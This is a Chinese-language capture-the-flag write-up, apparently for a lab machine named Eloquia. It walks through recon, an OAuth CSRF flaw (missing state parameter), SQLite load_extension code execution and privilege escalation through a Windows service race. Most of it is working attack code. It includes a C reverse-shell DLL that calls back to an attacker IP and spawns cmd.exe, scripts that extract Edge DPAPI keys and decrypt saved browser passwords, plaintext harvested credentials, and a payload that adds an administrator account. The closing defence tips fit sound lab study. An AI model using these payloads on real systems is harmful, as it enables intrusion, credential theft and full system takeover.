从 OAuth 逻辑漏洞到 Windows 服务竞态条件提权完整攻击链分析<\/h1>

信息收集阶段<\/h2>

网络扫描与端口发现<\/h3>
使用 masscan<\/code> 进行快速端口扫描：<\/p>
sudo masscan -p1-65535 10.10.11.99 --rate=<\/span>1000<\/span> -e tun2
<\/span><\/span><\/code><\/pre>发现开放端口：<\/p>

80\/tcp - HTTP服务（Microsoft IIS 10.0）<\/li>
5985\/tcp - WinRM服务（Microsoft HTTPAPI 2.0）<\/li>
<\/ul>
详细服务探测<\/h3>
使用 nmap<\/code> 进行深度扫描：<\/p>
sudo nmap -O -A 10.10.11.99
<\/span><\/span><\/code><\/pre>关键发现：<\/p>

域名重定向：http:\/\/eloquia.htb<\/code><\/li>
操作系统：Windows Server 2019 或 Windows 10<\/li>
Web服务器：Microsoft IIS 10.0<\/li>
<\/ul>
子域名枚举<\/h3>
使用 ffuf<\/code> 进行子域名爆破：<\/p>
ffuf -t 400<\/span> -w \/usr\/share\/seclists\/Discovery\/DNS\/combined_subdomains.txt \
<\/span><\/span><\/span><\/span> -u http:\/\/eloquia.htb \
<\/span><\/span><\/span><\/span> -H "Host: FUZZ.eloquia.htb"<\/span> -ac
<\/span><\/span><\/code><\/pre>未发现有效子域名。<\/p>
目录扫描<\/h3>
使用 dirsearch<\/code> 进行路径枚举：<\/p>
dirsearch -u http:\/\/eloquia.htb\/ -x 404<\/span>
<\/span><\/span><\/code><\/pre>发现关键路径：<\/p>

\/about\/<\/code> - 关于页面<\/li>
\/accounts\/login\/<\/code> - 登录页面<\/li>
\/contact\/<\/code> - 联系页面<\/li>
<\/ul>
OAuth 逻辑漏洞利用<\/h2>
发现OAuth认证端点<\/h3>
在登录页面发现第三方登录选项：<\/p>

Facebook<\/li>
Qooqle（仿Google OAuth服务）<\/li>
<\/ul>
OAuth授权URL结构：<\/p>
http:\/\/qooqle.htb\/login\/?next=\/oauth2\/authorize\/%3Fclient_id%3DriQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi%26response_type%3Dcode%26redirect_uri%3Dhttp%3A\/\/eloquia.htb\/accounts\/oauth2\/qooqle\/callback\/
<\/code><\/pre>
漏洞分析<\/h3>
缺失的安全参数：<\/p>

缺少 state<\/code> 参数 - 存在CSRF漏洞<\/li>
授权码有效期短（约30秒）<\/li>
可绑定任意账户到OAuth提供者<\/li>
<\/ul>
攻击链构建<\/h3>

注册攻击者账户<\/strong>：在Eloquia平台创建普通用户账户<\/li>
关联OAuth账户<\/strong>：将攻击者账户与Qooqle OAuth关联<\/li>
构造CSRF攻击页面<\/strong>：利用文章举报功能向管理员发送恶意链接<\/li>
<\/ol>
自动化攻击脚本<\/h3>
import<\/span> requests
<\/span><\/span>from<\/span> urllib.parse import<\/span> urlparse, parse_qs
<\/span><\/span>from<\/span> http.server import<\/span> BaseHTTPRequestHandler, HTTPServer
<\/span><\/span>import<\/span> threading
<\/span><\/span>
<\/span><\/span># OAuth配置参数<\/span>
<\/span><\/span>SETTINGS =<\/span> {
<\/span><\/span>    'oauth_provider'<\/span>: 'http:\/\/qooqle.htb'<\/span>,
<\/span><\/span>    'client_id'<\/span>: 'riQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi'<\/span>,
<\/span><\/span>    'callback_uri'<\/span>: 'http:\/\/eloquia.htb\/accounts\/oauth2\/qooqle\/callback\/'<\/span>,
<\/span><\/span>    'req_timeout'<\/span>: 10<\/span>
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>USER_DATA =<\/span> {
<\/span><\/span>    'user'<\/span>: 'attacker'<\/span>,
<\/span><\/span>    'pass'<\/span>: 'attacker_password'<\/span>
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>def<\/span> extract_token<\/span>(html_content):
<\/span><\/span>    """从HTML中提取CSRF令牌"""<\/span>
<\/span><\/span>    # 实现令牌提取逻辑<\/span>
<\/span><\/span>    pass<\/span>
<\/span><\/span>
<\/span><\/span>def<\/span> login_site_B<\/span>(session):
<\/span><\/span>    """登录Qooqle OAuth提供者"""<\/span>
<\/span><\/span>    try<\/span>:
<\/span><\/span>        login_url =<\/span> f<\/span>"<\/span>{<\/span>SETTINGS['oauth_provider'<\/span>]}<\/span>\/login\/"<\/span>
<\/span><\/span>        r =<\/span> session.<\/span>get(login_url, timeout=<\/span>SETTINGS["req_timeout"<\/span>])
<\/span><\/span>        token =<\/span> extract_token(r.<\/span>text)
<\/span><\/span>        
<\/span><\/span>        payload =<\/span> {
<\/span><\/span>            "csrfmiddlewaretoken"<\/span>: token,
<\/span><\/span>            "username"<\/span>: USER_DATA["user"<\/span>],
<\/span><\/span>            "password"<\/span>: USER_DATA["pass"<\/span>],
<\/span><\/span>        }
<\/span><\/span>        res =<\/span> session.<\/span>post(login_url, data=<\/span>payload, headers=<\/span>{"Referer"<\/span>: login_url})
<\/span><\/span>        return<\/span> res.<\/span>status_code in<\/span> (200<\/span>, 302<\/span>)
<\/span><\/span>    except<\/span> Exception<\/span> as<\/span> e:
<\/span><\/span>        return<\/span> False<\/span>
<\/span><\/span>
<\/span><\/span>def<\/span> fetch_oauth_token<\/span>(session):
<\/span><\/span>    """获取OAuth授权码"""<\/span>
<\/span><\/span>    auth_url =<\/span> f<\/span>"<\/span>{<\/span>SETTINGS['oauth_provider'<\/span>]}<\/span>\/oauth2\/authorize\/?client_id=<\/span>{<\/span>SETTINGS['client_id'<\/span>]}<\/span>&response_type=code&redirect_uri=<\/span>{<\/span>SETTINGS['callback_uri'<\/span>]}<\/span>"<\/span>
<\/span><\/span>    
<\/span><\/span>    r =<\/span> session.<\/span>get(auth_url, timeout=<\/span>SETTINGS["req_timeout"<\/span>], allow_redirects=<\/span>False<\/span>)
<\/span><\/span>    token =<\/span> extract_token(r.<\/span>text)
<\/span><\/span>    
<\/span><\/span>    payload =<\/span> {
<\/span><\/span>        "csrfmiddlewaretoken"<\/span>: token,
<\/span><\/span>        "redirect_uri"<\/span>: SETTINGS["callback_uri"<\/span>],
<\/span><\/span>        "scope"<\/span>: "read write"<\/span>,
<\/span><\/span>        "client_id"<\/span>: SETTINGS["client_id"<\/span>],
<\/span><\/span>        "state"<\/span>: ""<\/span>,
<\/span><\/span>        "response_type"<\/span>: "code"<\/span>,
<\/span><\/span>        "allow"<\/span>: "Authorize"<\/span>,
<\/span><\/span>    }
<\/span><\/span>    
<\/span><\/span>    res =<\/span> session.<\/span>post(auth_url, data=<\/span>payload, headers=<\/span>{
<\/span><\/span>        "Referer"<\/span>: auth_url, 
<\/span><\/span>        "Origin"<\/span>: SETTINGS["oauth_provider"<\/span>]
<\/span><\/span>    }, allow_redirects=<\/span>False<\/span>)
<\/span><\/span>    
<\/span><\/span>    return<\/span> res.<\/span>headers.<\/span>get("Location"<\/span>)
<\/span><\/span><\/code><\/pre>SQLite load_extension() RCE利用<\/h2>
管理员功能发现<\/h3>
获得管理员权限后，发现SQL查询功能：<\/p>

位置：管理面板 → SQL浏览器<\/li>
限制：禁用INSERT、CREATE等危险操作<\/li>
<\/ul>
load_extension()函数利用<\/h3>
测试load_extension功能：<\/p>
SELECT<\/span> load_extension('test.dll'<\/span>);
<\/span><\/span><\/code><\/pre>返回错误但确认函数可用，表明可加载外部DLL。<\/p>
恶意DLL开发<\/h3>
创建反向Shell DLL（绕过防御）：<\/p>
#include<\/span> <winsock2.h><\/span>
<\/span><\/span><\/span>#include<\/span> <windows.h><\/span>
<\/span><\/span><\/span>#include<\/span> <stdio.h><\/span>
<\/span><\/span><\/span><\/span>
<\/span><\/span>#define REMOTE_HOST "10.10.16.71"
<\/span><\/span><\/span>#define REMOTE_PORT 10086
<\/span><\/span><\/span><\/span>
<\/span><\/span>typedef<\/span> struct<\/span> sqlite3 sqlite3;
<\/span><\/span>typedef<\/span> struct<\/span> sqlite3_api_routines sqlite3_api_routines;
<\/span><\/span>
<\/span><\/span>static<\/span> const<\/span> sqlite3_api_routines *<\/span>sqlite3_api =<\/span> 0<\/span>;
<\/span><\/span>
<\/span><\/span>DWORD WINAPI DbMaintenanceTask<\/span>(LPVOID lpParam) {
<\/span><\/span>    WSADATA wsa;
<\/span><\/span>    SOCKET sock;
<\/span><\/span>    struct<\/span> sockaddr_in server;
<\/span><\/span>    STARTUPINFOA si;
<\/span><\/span>    PROCESS_INFORMATION pi;
<\/span><\/span>    
<\/span><\/span>    WSAStartup(MAKEWORD(2<\/span>, 2<\/span>), &<\/span>wsa);
<\/span><\/span>    sock =<\/span> WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0<\/span>, 0<\/span>);
<\/span><\/span>    
<\/span><\/span>    server.sin_family =<\/span> AF_INET;
<\/span><\/span>    server.sin_port =<\/span> htons(REMOTE_PORT);
<\/span><\/span>    server.sin_addr.s_addr =<\/span> inet_addr(REMOTE_HOST);
<\/span><\/span>    
<\/span><\/span>    connect(sock, (struct<\/span> sockaddr*<\/span>)&<\/span>server, sizeof<\/span>(server));
<\/span><\/span>    
<\/span><\/span>    memset(&<\/span>si, 0<\/span>, sizeof<\/span>(si));
<\/span><\/span>    si.cb =<\/span> sizeof<\/span>(si);
<\/span><\/span>    si.dwFlags =<\/span> STARTF_USESTDHANDLES;
<\/span><\/span>    si.hStdInput =<\/span> si.hStdOutput =<\/span> si.hStdError =<\/span> (HANDLE)sock;
<\/span><\/span>    
<\/span><\/span>    CreateProcessA(NULL, "cmd.exe"<\/span>, NULL, NULL, TRUE, 0<\/span>, NULL, NULL, &<\/span>si, &<\/span>pi);
<\/span><\/span>    WaitForSingleObject(pi.hProcess, INFINITE);
<\/span><\/span>    
<\/span><\/span>    closesocket(sock);
<\/span><\/span>    WSACleanup();
<\/span><\/span>    return<\/span> 0<\/span>;
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>__declspec<\/span>(dllexport) int<\/span> sqlite3_extension_init(sqlite3 *<\/span>db, char<\/span> **<\/span>pzErrMsg, 
<\/span><\/span>                    const<\/span> sqlite3_api_routines *<\/span>pApi) {
<\/span><\/span>    sqlite3_api =<\/span> pApi;
<\/span><\/span>    CreateThread(NULL, 0<\/span>, DbMaintenanceTask, NULL, 0<\/span>, NULL);
<\/span><\/span>    return<\/span> 0<\/span>;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>编译与部署<\/h3>
gcc -shared -O2 -s -o sqll.dll sqllite.c -lws2_32
<\/span><\/span><\/code><\/pre>通过文章编辑功能上传DLL文件，路径为：static\assets\images\blog\sqll.dll<\/code><\/p>
触发执行<\/h3>
SELECT<\/span> load_extension('static\assets\images\blog\sqll.dll'<\/span>);
<\/span><\/span><\/code><\/pre>权限提升阶段<\/h2>
初始权限评估<\/h3>
whoami \/priv
<\/span><\/span><\/code><\/pre>当前权限有限，仅具备：<\/p>

SeChangeNotifyPrivilege<\/li>
SeIncreaseWorkingSetPrivilege（禁用）<\/li>
<\/ul>
横向移动准备<\/h3>
发现自动化脚本文件：<\/p>
# C:\Program Files\Automation Scripts\seleniumSimulator.py<\/span>
<\/span><\/span>from<\/span> selenium import<\/span> webdriver
<\/span><\/span>import<\/span> requests
<\/span><\/span>
<\/span><\/span>session =<\/span> requests.<\/span>Session()
<\/span><\/span>login_url =<\/span> "http:\/\/eloquia.htb\/accounts\/login\/"<\/span>
<\/span><\/span>
<\/span><\/span># 硬编码凭证<\/span>
<\/span><\/span>payload =<\/span> {
<\/span><\/span>    "username"<\/span>: "admin"<\/span>,
<\/span><\/span>    "password"<\/span>: "MyEl0qu!@Admin"<\/span>,  # 关键发现<\/span>
<\/span><\/span>    "csrfmiddlewaretoken"<\/span>: csrf_token
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>DPAPI主密钥提取<\/h3>
定位加密数据<\/h4>
Edge浏览器数据文件：<\/p>

C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Local State<\/code><\/li>
C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Default\Login Data<\/code><\/li>
<\/ul>
提取加密密钥<\/h4>
Local State文件中发现DPAPI加密密钥：<\/p>
"encrypted_key"<\/span>:<\/span> "RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABzr42Q+SDgR78a6A6x6z+EEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABZqUTKi+3PgIqd3Qa3HRY2\/JCmSDJLECa+TMtiB0cTPAAAAAAOgAAAAAIAACAAAAB0hEH7C3oQN6ghOwRl2cHGV2G3\/o\/oobqZ3Zm0uQNUhjAAAAAWtJnWT3GsY2PXsMOl66xYaMIXJodfrvLK5HVzFOvcGuw1CJn8xvbLF0LLyaOLujdAAAAA+vRmKffc2JdtiXx3o7Pvxy5CiU8YAuklDgNkgE+eAFDiAhBb5ZWr7zp30+GtPk4qluAXDrum+QHtuygfoywpTw=="<\/span>
<\/span><\/span><\/code><\/pre>DPAPI解密脚本<\/h4>
import<\/span> os
<\/span><\/span>import<\/span> json
<\/span><\/span>import<\/span> base64
<\/span><\/span>import<\/span> ctypes
<\/span><\/span>from<\/span> ctypes import<\/span> wintypes
<\/span><\/span>
<\/span><\/span>class<\/span> DATA_BLOB<\/span>(ctypes.<\/span>Structure):
<\/span><\/span>    _fields_ =<\/span> [("cbData"<\/span>, wintypes.<\/span>DWORD),
<\/span><\/span>                ("pbData"<\/span>, ctypes.<\/span>POINTER(ctypes.<\/span>c_byte))]
<\/span><\/span>
<\/span><\/span>def<\/span> get_master_key<\/span>():
<\/span><\/span>    local_state_path =<\/span> r<\/span>'C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Local State'<\/span>
<\/span><\/span>    
<\/span><\/span>    with<\/span> open(local_state_path, "r"<\/span>, encoding=<\/span>"utf-8"<\/span>) as<\/span> f:
<\/span><\/span>        local_state =<\/span> json.<\/span>loads(f.<\/span>read())
<\/span><\/span>    
<\/span><\/span>    encrypted_key_b64 =<\/span> local_state["os_crypt"<\/span>]["encrypted_key"<\/span>]
<\/span><\/span>    encrypted_key =<\/span> base64.<\/span>b64decode(encrypted_key_b64)[5<\/span>:]  # 移除DPAPI前缀<\/span>
<\/span><\/span>    
<\/span><\/span>    blob_in =<\/span> DATA_BLOB(len(encrypted_key), 
<\/span><\/span>                        (ctypes.<\/span>c_byte *<\/span> len(encrypted_key)).<\/span>from_buffer_copy(encrypted_key))
<\/span><\/span>    blob_out =<\/span> DATA_BLOB()
<\/span><\/span>    
<\/span><\/span>    ctypes.<\/span>windll.<\/span>crypt32.<\/span>CryptUnprotectData(ctypes.<\/span>byref(blob_in), None<\/span>, None<\/span>, None<\/span>, None<\/span>, 0<\/span>, 
<\/span><\/span>                                           ctypes.<\/span>byref(blob_out))
<\/span><\/span>    
<\/span><\/span>    decrypted_key =<\/span> (ctypes.<\/span>c_byte *<\/span> blob_out.<\/span>cbData).<\/span>from_address(
<\/span><\/span>        ctypes.<\/span>addressof(blob_out.<\/span>pbData.<\/span>contents))
<\/span><\/span>    
<\/span><\/span>    key_bytes =<\/span> bytearray(decrypted_key)
<\/span><\/span>    ctypes.<\/span>windll.<\/span>kernel32.<\/span>LocalFree(blob_out.<\/span>pbData)
<\/span><\/span>    
<\/span><\/span>    return<\/span> key_bytes.<\/span>hex()
<\/span><\/span>
<\/span><\/span>print("Master Key:"<\/span>, get_master_key())
<\/span><\/span><\/code><\/pre>密码数据库解密<\/h4>
获得主密钥：c7f1ad7b079947b4bb1dc53b8740440651b6c9f5caf7fd9a18bbece57c7bd444<\/code><\/p>
解密Login Data数据库：<\/p>
import<\/span> sqlite3
<\/span><\/span>from<\/span> Crypto.Cipher import<\/span> AES
<\/span><\/span>
<\/span><\/span>def<\/span> decrypt_password<\/span>(encrypted_value, key):
<\/span><\/span>    try<\/span>:
<\/span><\/span>        if<\/span> encrypted_value[:3<\/span>] !=<\/span> b<\/span>'v10'<\/span>:
<\/span><\/span>            return<\/span> "(Not v10 encrypted)"<\/span>
<\/span><\/span>        
<\/span><\/span>        iv =<\/span> encrypted_value[3<\/span>:15<\/span>]
<\/span><\/span>        payload =<\/span> encrypted_value[15<\/span>:]
<\/span><\/span>        ciphertext =<\/span> payload[:-<\/span>16<\/span>]
<\/span><\/span>        tag =<\/span> payload[-<\/span>16<\/span>:]
<\/span><\/span>        
<\/span><\/span>        cipher =<\/span> AES.<\/span>new(key, AES.<\/span>MODE_GCM, nonce=<\/span>iv)
<\/span><\/span>        decrypted_pass =<\/span> cipher.<\/span>decrypt_and_verify(ciphertext, tag)
<\/span><\/span>        return<\/span> decrypted_pass.<\/span>decode('utf-8'<\/span>)
<\/span><\/span>    except<\/span> Exception<\/span> as<\/span> e:
<\/span><\/span>        return<\/span> f<\/span>"(Error: <\/span>{<\/span>e}<\/span>)"<\/span>
<\/span><\/span>
<\/span><\/span># 解密结果<\/span>
<\/span><\/span>"""
<\/span><\/span><\/span>URL                          | Username     | Password
<\/span><\/span><\/span>http:\/\/eloquia.htb\/accounts\/login\/ | Olivia.KAT   | S3cureP@sswdIGu3ss
<\/span><\/span><\/span>https:\/\/eloquia.htb\/          | test         | testtest1234!
<\/span><\/span><\/span>https:\/\/chatgpt.com\/          | olivia.kat   | S3cureP@sswd3Openai
<\/span><\/span><\/span>"""<\/span>
<\/span><\/span><\/code><\/pre>横向移动<\/h3>
使用WinRM连接Olivia.KAT账户：<\/p>
evil-winrm -i 10.10.11.99 -u 'Olivia.KAT'<\/span> -p S3cureP@sswdIGu3ss
<\/span><\/span><\/code><\/pre>Failure2Ban服务竞态条件提权<\/h2>
服务分析<\/h3>
发现Failure2Ban服务：<\/p>

用途：防暴力破解（通常用于Linux，Windows版本存在设计缺陷）<\/li>
权限：需要管理员权限读取日志文件<\/li>
漏洞点：服务重启时的竞态条件窗口<\/li>
<\/ul>
权限验证<\/h3>
net localgroup "Remote Management Users"<\/span>
<\/span><\/span><\/code><\/pre>确认Olivia.KAT具有远程管理权限。<\/p>
竞态条件利用<\/h3>
创建管理员用户程序<\/h4>
#include<\/span> <windows.h><\/span>
<\/span><\/span><\/span>#include<\/span> <lm.h><\/span>
<\/span><\/span><\/span><\/span>
<\/span><\/span>#define NEW_USER L"choice"
<\/span><\/span><\/span>#define NEW_PASS L"QWEqwe123!@#"
<\/span><\/span><\/span><\/span>
<\/span><\/span>void<\/span> execute_payload<\/span>() {
<\/span><\/span>    USER_INFO_1 ui;
<\/span><\/span>    NET_API_STATUS nStatus;
<\/span><\/span>    
<\/span><\/span>    ui.usri1_name =<\/span> NEW_USER;
<\/span><\/span>    ui.usri1_password =<\/span> NEW_PASS;
<\/span><\/span>    ui.usri1_priv =<\/span> USER_PRIV_USER;
<\/span><\/span>    ui.usri1_flags =<\/span> UF_SCRIPT |<\/span> UF_DONT_EXPIRE_PASSWD |<\/span> UF_NORMAL_ACCOUNT;
<\/span><\/span>    
<\/span><\/span>    nStatus =<\/span> NetUserAdd(NULL, 1<\/span>, (LPBYTE)&<\/span>ui, NULL);
<\/span><\/span>    
<\/span><\/span>    LOCALGROUP_MEMBERS_INFO_3 account;
<\/span><\/span>    account.lgrmi3_domainandname =<\/span> NEW_USER;
<\/span><\/span>    nStatus =<\/span> NetLocalGroupAddMembers(NULL, L<\/span>"Administrators"<\/span>, 3<\/span>, 
<\/span><\/span>                                     (LPBYTE)&<\/span>account, 1<\/span>);
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>int<\/span> main<\/span>(void<\/span>) {
<\/span><\/span>    execute_payload();
<\/span><\/span>    return<\/span> 0<\/span>;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>编译部署<\/h4>
gcc -O2 -s -o failure2ban.exe addr.c -lnetapi32
<\/span><\/span><\/code><\/pre>文件替换攻击<\/h4>
cmd \/c "for \/L %i in (1,0,2) do (copy \/Y C:\ProgramData\failure2ban.exe Failure2Ban.exe && exit)"<\/span>
<\/span><\/span><\/code><\/pre>UAC绕过注册表修改<\/h3>
创建第二个Payload修改远程访问策略：<\/p>
#include<\/span> <windows.h><\/span>
<\/span><\/span><\/span><\/span>
<\/span><\/span>void<\/span> execute_payload<\/span>(void<\/span>) {
<\/span><\/span>    HKEY hKey;
<\/span><\/span>    DWORD data =<\/span> 1<\/span>;
<\/span><\/span>    
<\/span><\/span>    RegOpenKeyExA(HKEY_LOCAL_MACHINE, 
<\/span><\/span>                 "SOFTWARE<\/span>\\<\/span>Microsoft<\/span>\\<\/span>Windows<\/span>\\<\/span>CurrentVersion<\/span>\\<\/span>Policies<\/span>\\<\/span>System"<\/span>, 
<\/span><\/span>                 0<\/span>, KEY_SET_VALUE, &<\/span>hKey);
<\/span><\/span>    
<\/span><\/span>    RegSetValueExA(hKey, "LocalAccountTokenFilterPolicy"<\/span>, 0<\/span>, 
<\/span><\/span>                   REG_DWORD, (const<\/span> BYTE*<\/span>)&<\/span>data, sizeof<\/span>(data));
<\/span><\/span>    
<\/span><\/span>    RegCloseKey(hKey);
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>int<\/span> main<\/span>(void<\/span>) {
<\/span><\/span>    execute_payload();
<\/span><\/span>    return<\/span> 0<\/span>;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>最终权限获取<\/h3>

等待Failure2Ban服务重启（约6-7分钟周期）<\/li>
恶意程序以SYSTEM权限执行<\/li>
创建管理员用户choice<\/code>并加入Administrators组<\/li>
修改注册表启用远程管理<\/li>
使用新凭证获得完全控制权限<\/li>
<\/ol>
防御建议<\/h2>
OAuth安全加固<\/h3>

始终使用state参数防止CSRF<\/li>
实施PKCE扩展保护授权码<\/li>
限制redirect_uri到可信域名<\/li>
设置合理的授权码过期时间<\/li>
<\/ol>
应用程序安全<\/h3>

SQLite安全配置：

禁用load_extension功能<\/li>
实施严格的输入验证<\/li>
使用参数化查询<\/li>
<\/ul>
<\/li>
<\/ol>
系统安全加固<\/h3>


服务安全：<\/p>

实施文件完整性监控<\/li>
使用服务恢复策略<\/li>
限制服务账户权限<\/li>
<\/ul>
<\/li>

DPAPI保护：<\/p>

使用专用密钥存储<\/li>
实施凭据保护策略<\/li>
定期轮换主密钥<\/li>
<\/ul>
<\/li>

权限管理：<\/p>

遵循最小权限原则<\/li>
实施适当的UAC策略<\/li>
监控特权账户活动<\/li>
<\/ul>
<\/li>
<\/ol>
此攻击链展示了从Web应用漏洞到系统完全控制的完整路径，强调了纵深防御的重要性。<\/p>